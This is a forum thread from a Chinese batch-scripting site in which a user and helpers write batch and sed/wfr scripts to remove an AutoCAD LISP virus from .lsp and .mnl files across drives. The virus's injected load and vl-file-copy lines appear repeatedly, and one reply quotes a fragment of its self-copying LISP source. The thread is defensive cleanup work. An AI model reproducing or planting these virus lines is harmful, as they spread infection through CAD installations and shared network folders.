Board logo

标题: [文件操作] 求帮忙写一个cad杀毒的bat(已解决) [打印本页]

作者: 195135692    时间: 2014-6-28 10:11     标题: 求帮忙写一个cad杀毒的bat(已解决)

本帖最后由 195135692 于 2014-8-16 09:38 编辑

背景: 本人只不会写批处理,用cad多年,目前公司有autocad和mechanical两个软件中毒,很烦人,下载了多个杀软,不能根本解决问题。

病毒传播方式有
1、分别在某些lsp和mnl文件中插入以下代码(在不同的文件中,可能只有以下的一行,可能有三行,可能重复的不连续的有很多行)
(load"acadapp.lsp")
(load"acadapq.lsp")
(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))
2、在系统安装盘下(是XP或win7的系统安装盘)下生成boot.dat文件(不是boot.ini)
3、在cad的安装路径文件夹help下生成logo.gif文件
4、在新开或打开过的cad文件目录下生成acad.vlx、acaddoc.lsp、acadapq.lsp、acad.lsp、acadapp.lsp、acadappp.lsp、acadiso.lsp文件,包括本机的文件和服务器上的文件(当然是有权限写的路径)
5、感染acad.fas、acaddoc.fas、lcm.fas文件(这个还不知道是怎么传染的,只知道删除了就会没事,不删病毒就会复发)
根椐本人几个月的试验,病毒只能新建和修改可读写的文件,对于只读文件还不能修改
6、病毒跟注册表没有关系,以上是我通过几个月的实验得出的

杀毒思路:找出病毒文件,删除恶意代码或文件,存为只读
1、找系统安装盘下有没有boot.dat文件,如有则清除文件内容,并存为只读。因为不是每个系统都在C盘,也可以全盘搜索boot.dat
2、找cad软件在cad的安装路径文件夹help下生成logo.gif文件,如有则清除文件内容,并存为只读。因为不是每次cad软件都在D盘,也可以全盘搜索logo.gif
3、搜索acad.vlx、acaddoc.lsp、acadapq.lsp、acad.lsp、acad.fas、acad.sys、acadapp.lsp、acadappp.lsp、acaddoc.fas、acadiso.lsp、lcm.fas、acadsmu.fas文件并删除,最好能包括服务器的路径,比如\\mainserver\工程部\资料临时放置区
4、本机全盘搜索*.lsp和*.mnl文件,并在其文件中查找以下三行代码之一,并删除,这三行代码不一定是同时存在的,同一行代码在文件中可能不只一次出现
(load"acadapp.lsp")
(load"acadapq.lsp")
(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))
如文件有出现以上代码的,删除代码后直接保存并存为只读

目前下载的专杀软件,可能没有做第1、2步,也没有把文件存为只读,因为杀完后很快的就中毒了。
请各位高手帮帮忙。
作者: 195135692    时间: 2014-6-30 08:27

看样子,这是有很难的呀
作者: Batcher    时间: 2014-6-30 21:46

1、找系统安装盘下有没有boot.dat文件,如有则清除文件内容,并存为只读。因为不是每个系统都在C盘,也可以全盘搜索boot.dat

慢慢来,先解决第一个问题:
  1. @echo off
  2. set filename=%systemdrive%\boot.dat
  3. if not exist %filename%\ (
  4.     if exist %filename% (
  5.         type nul > %filename%
  6.         attrib +r %filename%
  7.     )
  8. )
复制代码

作者: 195135692    时间: 2014-6-30 22:48

本帖最后由 195135692 于 2014-6-30 22:52 编辑

boot.dat文件可以解决了
关于第二点的logo.gif,我并不清楚其病毒代码是放在logo.gif文件中的什么地方,手工的方法就是把其删除,然后新建一个空的logo.gif并存为只读放在原路径
作者: Batcher    时间: 2014-6-30 23:26

回复 4# 195135692


    把你电脑上cad文件夹下的logo.gif的完整路径发出来,我要看看有什么特征。以免误操作其它logo.gif文件
作者: 195135692    时间: 2014-6-30 23:39

本帖最后由 195135692 于 2014-6-30 23:48 编辑

谢谢管理员,这么晚了还操心
这是我电脑的logo.gif文件路径
D:\Program Files\Autodesk\AutoCAD 2013\Help\logo.gif

以我所见,一定有Autodesk和Help文件夹,AutoCAD 2013这是软件版本,有可能是Mechanical 2013或其它类型的cad软件

这个可以全盘搜索删除,以我这几年来看,还没有用到其它软件有logo.gif文件的,就算有,删了也没有什么影响
作者: Batcher    时间: 2014-7-1 13:18

回复 6# 195135692


这里有几个全盘搜索的代码,你可以先自己试试:
http://bbs.bathome.net/thread-3465-1-1.html
作者: 195135692    时间: 2014-7-1 15:04

谢谢,全盘搜索文件删除可以了,服务器路径的不知道怎么写
作者: Batcher    时间: 2014-7-1 17:55

回复 8# 195135692


是第三点吗?
你说的服务器路径是什么意思?
是不是在服务器上有个共享文件夹,在你自己的电脑上映射网络驱动器来访问它?
作者: 195135692    时间: 2014-7-1 22:23

因为有局域网,文件是放在服务器上的,没用过网络驱动器访问,直接通过路径访问,比如\\mainserver\工程部\资料临时放置区
作者: 195135692    时间: 2014-7-4 23:30

跳过服务器路径这部分吧,求帮忙第四点怎么写
作者: DAIC    时间: 2014-7-5 12:43

  1. REM 删除指定字符串
  2. sed -i "s/(load\"acadap[pq].lsp\")//g; s/(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))//g" 1.lsp
  3. REM 添加只读属性
  4. attrib +r 1.lsp
复制代码

作者: 195135692    时间: 2014-7-5 14:42

谢谢
但提示sed不是内部或外部命令,也不是可运行的程序
win 7 64位系统
这个是怎么处理的
作者: 195135692    时间: 2014-7-9 09:57

还不能解决提示sed不是内部或外部命令,也不是可运行的程序
求高手帮忙
作者: DAIC    时间: 2014-7-9 10:43

回复 14# 195135692


    下载一个sed.exe
作者: 195135692    时间: 2014-7-9 19:32

本帖最后由 195135692 于 2014-7-9 19:35 编辑

下了sed,但运行时提示错误:
sed:invalid option -- i
后面一堆英文

怎么不能插入图片的呀
作者: DAIC    时间: 2014-7-9 20:18

回复 16# 195135692


你下载的哪个版本?试试4.2.2
http://bbs.bathome.net/thread-3981-1-1.html
作者: 195135692    时间: 2014-7-9 20:43

谢谢
下了sed.ese 4.4.2 可以了,但只能处理同一文件夹下的文件
做全盘搜索文件并删除怎么写
作者: 195135692    时间: 2014-7-12 09:16

继续求助中
如何做全盘搜索文件并删除文件内指定内容行如
(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))
作者: Batcher    时间: 2014-7-12 11:14

回复 19# 195135692


    用7楼提供的BAT代码做全盘搜索,搜到之后调用sed做删除。
作者: 195135692    时间: 2014-7-15 19:42

我试了,程序如下
@echo off
rem acadap.lsp
set "FileName=acadap.lsp"
echo 正在搜索,请稍候...
for %%a in (C D E F ) do (
    if exist %%a:\nul (
        for /f "delims=" %%b in ('dir /a-d /s /b "%%a:\*%FileName%" 2^>nul') do (
            if /i "%%~nxb" equ "%FileName%" (
                sed -i "s/(load\"acadap.lsp\")//g; s/(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))//g" acadap.lsp
attrib +r acadap.lsp
            )
        )
    )
)
pause

但还是只能处理程序所在目录的文件,并最后有提示sed:cannot remove ./sed9wcipb:permission denied
我是不是搞错了什么
作者: 195135692    时间: 2014-7-15 20:04

提示错误是因为attrib +r acadap.lsp
可还是只能处理所在程序目录的文件
作者: Batcher    时间: 2014-7-15 21:51

sed -i "s/(load\"acadap.lsp\")//g; s/(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))//g" acadap.lsp
attrib +r acadap.lsp

把常量改成变量试试

sed -i "s/(load\"acadap.lsp\")//g; s/(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))//g" "%%b"
attrib +r "%%b"
作者: 195135692    时间: 2014-7-16 08:08

本帖最后由 195135692 于 2014-7-16 08:26 编辑

sed -i "s/(load\"acadap.lsp\")//g; s/(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))//g" "%%b"
attrib +r "%%b"

只能处理程序所在目录的文件,不能处理其它目录的文件
无提示
作者: 195135692    时间: 2014-7-18 19:10

试了好久,终于
@echo off
set "FileName=acad2013doc.lsp"
echo 正在搜索病毒语句,请稍候...
for %%a in (C D E) do (
    if exist %%a:\nul (
        pushd %%a:\
        for /r %%b in ("*%FileName%") do (
            if /i "%%~nxb" equ "%FileName%" (
                echo 正在搜索,请稍候...
                echo.%%b
sed -i "s/(load\"acad2013doc.lsp\")//g; s/(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))//g" %%b
           )
        )
        popd
    )
)

pause

这个可以全盘搜索并删除了
作者: 195135692    时间: 2014-7-18 19:12

但又奇怪了
想删除(load"acadapq.lsp")
把程序换成
@echo off
echo 开始处理病毒语句1,请稍候...
set "FileName=acad2013doc.lsp"
echo 正在搜索病毒语句2,请稍候...
for %%a in (C D E) do (
    if exist %%a:\nul (
        pushd %%a:\
        for /r %%b in ("*%FileName%") do (
            if /i "%%~nxb" equ "%FileName%" (
                echo 正在搜索,请稍候...
                echo.%%b
sed -i "s/(load\"acad2013doc.lsp\")//g; s/(load"acadapq.lsp")//g" %%b
           )
        )
        popd
    )
)

pause

却不能处理,也没有提示,请大家看看,不知什么问题
作者: Batcher    时间: 2014-7-18 20:07

回复 26# 195135692


双引号需要转义
sed -i "s/(load\"acad2013doc.lsp\")//g; s/(load\"acadapq.lsp\")//g" %%b
作者: bluewing009    时间: 2014-7-18 20:57

load"acadapp.lsp"

能不能直接吧 "acadapp.lsp" 给kill了  不管载入点呢?
作者: 195135692    时间: 2014-7-18 22:19

本帖最后由 195135692 于 2014-7-18 22:30 编辑

谢谢,可以处理了
回楼上,acadapp.lsp是一个单独的文件,在程序的前面已经把它删除了,现在处理的是acad2013.lsp文件中调用病毒文件的语句

再请教
以下程序是处理acadapp.lsp和acad2013.lsp两个文件的

@echo off
set "FileName=acadap.lsp"
echo 正在搜索病毒语句,请稍候...
for %%a in (C D E) do (
    if exist %%a:\nul (
        pushd %%a:\
        for /r %%b in ("*%FileName%") do (
            if /i "%%~nxb" equ "%FileName%" (
                echo 正在搜索,请稍候...
                echo.%%b
sed -i "s/(load\"acadap.lsp\")//g; s/(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))//g" %%b
sed -i "s/(load\"acadap.lsp\")//g; s/(load\"acadapq.lsp\")//g" %%b
sed -i "s/(load\"acadap.lsp\")//g; s/(load\"acadapp.lsp\")//g" %%b
           )
        )
        popd
    )
)

set "FileName=acad2013.lsp"
echo 正在搜索病毒语句2,请稍候...
for %%a in (C D E) do (
    if exist %%a:\nul (
        pushd %%a:\
        for /r %%b in ("*%FileName%") do (
            if /i "%%~nxb" equ "%FileName%" (
                echo 正在搜索,请稍候...
                echo.%%b
sed -i "s/(load\"acad2013.lsp\")//g; s/(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))//g" %%b
sed -i "s/(load\"acadap.lsp\")//g; s/(load\"acadapq.lsp\")//g" %%b
sed -i "s/(load\"acadap.lsp\")//g; s/(load\"acadapp.lsp\")//g" %%b
           )
        )
        popd
    )
)
pause

实际上需要处理的文件还有acaddoc.lsp、acad.mnl等文件,是不是一直往下加程序呀,有没有优化的方法?
作者: CrLf    时间: 2014-7-18 22:39

回复 14# 195135692


    见 15 楼签名档
作者: 195135692    时间: 2014-7-19 08:20

弱弱的问一下,”见 15 楼签名档“是什么
作者: Batcher    时间: 2014-7-19 08:32

回复 29# 195135692
  1. @echo off
  2. for %%i in (acadapp.lsp acad2013.lsp acaddoc.lsp acad.mnl) do (
  3.     echo 正在搜索 %%i 里面的病毒语句,请稍候...
  4.     for %%a in (C D E) do (
  5.         if exist %%a:\ (
  6.             pushd %%a:\
  7.             for /r %%b in ("*%FileName%") do (
  8.                 if /i "%%~nxb" equ "%FileName%" (
  9.                     echo 正在搜索,请稍候...
  10.                     echo.%%b
  11.                     sed -i "s/(load\"%%i.lsp\")//g; s/(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))//g" %%b
  12.                     sed -i "s/(load\"acadap.lsp\")//g; s/(load\"acadapq.lsp\")//g" %%b
  13.                     sed -i "s/(load\"acadap.lsp\")//g; s/(load\"acadapp.lsp\")//g" %%b
  14.                 )
  15.             )
  16.             popd
  17.         )
  18.     )
  19. )
复制代码

作者: 195135692    时间: 2014-7-19 23:34

谢谢,
但acad.mnl文件不能处理
作者: Batcher    时间: 2014-7-20 16:21

回复 33# 195135692


    具体描述一下
作者: 195135692    时间: 2014-8-2 15:07

本帖最后由 195135692 于 2014-8-2 15:15 编辑

经过10天的学习,对bat有了一些了解,一直在试33楼的程序,出的问题比较多
1、不能处理带空格路径下的文件,提示 “Sed: can't read 路径名 No such file or dircetory”之类的
2、开始的时候还能处理不带空格路径下的lsp文件,也不知道试了多少次,最后所有文件都不能处理了(处理是指删除文件中的病毒语句),运行后只显示
正在搜索 acadapp.lsp 里面的病毒语句,请稍候...
正在搜索 acad2013.lsp 里面的病毒语句,请稍候...
正在搜索 acaddoc.lsp 里面的病毒语句,请稍候...
正在搜索 acad.mnl 里面的病毒语句,请稍候...
已完成处理
请按任意键继续...

然后所有那些病毒的文件没有变化。
作者: 195135692    时间: 2014-8-2 15:14

我自已又拼了一个程序来试
@echo off
set "FileName=acad.lsp"
echo 正在搜索病毒语句,请稍候...
for %%a in (C D) do (
    if exist %%a:\nul (
        pushd %%a:\
        for /r %%b in ("*%FileName%") do (
            if /i "%%~nxb" equ "%FileName%" (
                echo 正在搜索,请稍候...
                echo.%%b
sed -i "/(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))/d" %%b
echo 已处理1
sed -i "/(load\"acadapq.lsp\")/d" %%b
echo 已处理2
sed -i "/(load\"acadapp.lsp\")/d" %%b
echo 已处理3
           )
        )
        popd
    )
)
         
echo 已完成处理
pause

发现有两个问题
1、不能处理带空格的目录下的所有文件
2、有时候会在显示”已处理1“或”已处理2“后停在那里2个小时左右不动(电脑没死机),就关掉程序了,有几次这样的情况,显示正在处理文件的目录不一样。

首先,请帮忙解决带空格文件夹路路径的问题?
作者: DAIC    时间: 2014-8-2 16:09

回复 36# 195135692


加双引号
sed -i "/(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))/d" "%%b"
作者: 195135692    时间: 2014-8-2 17:01

谢谢,可以解决带空格的目录文件了,继续研究中
作者: 195135692    时间: 2014-8-7 17:37

本帖最后由 195135692 于 2014-8-7 17:43 编辑

试了几天,发与上面sed命令中,有时候会在显示”已处理1“或”已处理2“后或前停在那里2个小时左右不动(电脑没死机),就关掉程序了,有几次这样的情况,显示正在处理文件的目录不一样。

换了一种方法,如下
@echo off
FOR %%a IN (C: D: E DO (
cd /d %%a & for /r %%b in (
*.lsp
*.mnl
) do if exist %%b (
echo %%b
wfr "%%b" -r:"(load\"acadapp.lsp\")" -t:""
wfr "%%b" -r:"(load\"acadapq.lsp\")" -t:""
)
)
echo 已完成处理
pause

有两个问题
1、不能处理程序所在盘的文件(除程序所在的目录和下级目录,或除非程序放在根目录下)
2、想删除
(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))
语句如下
wfr "%%b" -r:"(vl-file-copy(findfile(vl-list->string\'(108 111 103 111 46 103 105 102)))(vl-list->string\'(97 99 97 100 46 118 108 120)))" -t:""
有问题,应该是要转义,不知道怎么转义
求帮忙
作者: 195135692    时间: 2014-8-8 11:38

解决上面第1个问题了,程序如下
@echo off
FOR %%a IN (c d e) DO (
echo 正在处理%%a
cd /d %%a:\
for /r %%b in (*.lsp *.mnl) do if exist %%b (
echo %%b
wfr "%%b" -r:"(load\"acadapp.lsp\")" -t:""
wfr "%%b" -r:"(load\"acadapq.lsp\")" -t:""
)
)
echo 已完成处理
pause
还剩第2个问题,如何删除
(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))
应该是转义的问题,求帮忙
作者: 195135692    时间: 2014-8-9 11:23

我试了半天,好像用wfr 删除(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))
有点难呀
作者: wuhengsi    时间: 2014-8-9 22:08

专门写一个专杀EXE。kill了它吧,,,因为BAT稳定性不够,加上它要解释,很耗CPU的
作者: wuhengsi    时间: 2014-8-9 22:16

我之前碰到过这个病毒
    (setq woldacad (strcat wpath "acad.mnl"))
    (setq wnewacad (strcat dpath "acaddoc.lsp"))
    (wwriteapp)
  )
  (vl-file-delete (strcat dpath "acaddoc.lsp"))
)
;load "acadapq")
(setvar "cmdecho" wold_cmd)
(load "acadappp.lsp")
(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))

(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
  (setq flag nil)
  (setq flag1 t)
  (if (findfile target)
    (progn
      (setq wjm1 (open target "r"))
      (while (setq text (read-line wjm1))
        (if (= text bz) (setq flag1 nil))
作者: 195135692    时间: 2014-8-9 22:23

1、好像差不多的传播原理。
2、上面代码是在什么文里的?
3、如何杀毒的?
作者: wuhengsi    时间: 2014-8-9 22:23

待这月忙完项目。。我来写个专杀EXE
作者: wuhengsi    时间: 2014-8-9 22:50

几年前碰过这个病毒,当时没有认真分析,只是简单提取了病毒的特征码,加入“620自助杀毒”病毒库中,可以全盘扫描到病毒
在专杀未出来前,可用 620自助杀毒  扫描全盘杀死,只是临时解决办法,要彻底解决还要专杀工具才行

620自助杀毒V2.1
下载地址: http://duote.com/soft/37637.html




作者: wuhengsi    时间: 2014-8-10 10:41

回复 1# 195135692

你能否尽快提供 CAD 病毒样本给我,以便能提取特征码及分析,如果你有完全的样本可以全部打包发送到我的邮箱:acad.vlx、acaddoc.lsp、acadapq.lsp、acad.lsp、acadapp.lsp、acadappp.lsp、acadiso.lsp、acad.fas、acaddoc.fas、lcm.fas、boot.dat、logo.gif    (要压缩(或压缩2次)再发送)邮箱: [email]wuhengsi88@163.com[/email]
作者: 195135692    时间: 2014-8-10 15:39

好,明天回公司找找,谢谢
作者: wuhengsi    时间: 2014-10-18 18:29

CAD专杀已写好,请下载。。
相对轻巧快速。。。

文件名称:CAD病毒专杀工具V1.0.zip
文件大小:1.9MB
下载地址:http://pan.baidu.com/s/1c03Z2so

作者: wuhengsi    时间: 2014-10-19 02:02

说明:金山有误报,以上下载地址我暂时撤销了,正在申请解除误报中。。。
待解除误报后我再重新公布下载地址。
如现在各位有需要,请留下言
作者: wuhengsi    时间: 2014-10-21 00:58

软件已通过金山、360验证。 (2014-10-21 日最新下载地址)

文件名称:CAD病毒专杀工具V1.0
软件大小:1.9MB
下载地址:http://pan.baidu.com/s/1bnleIlT




欢迎光临 批处理之家 (http://www.bathome.net/) Powered by Discuz! 7.2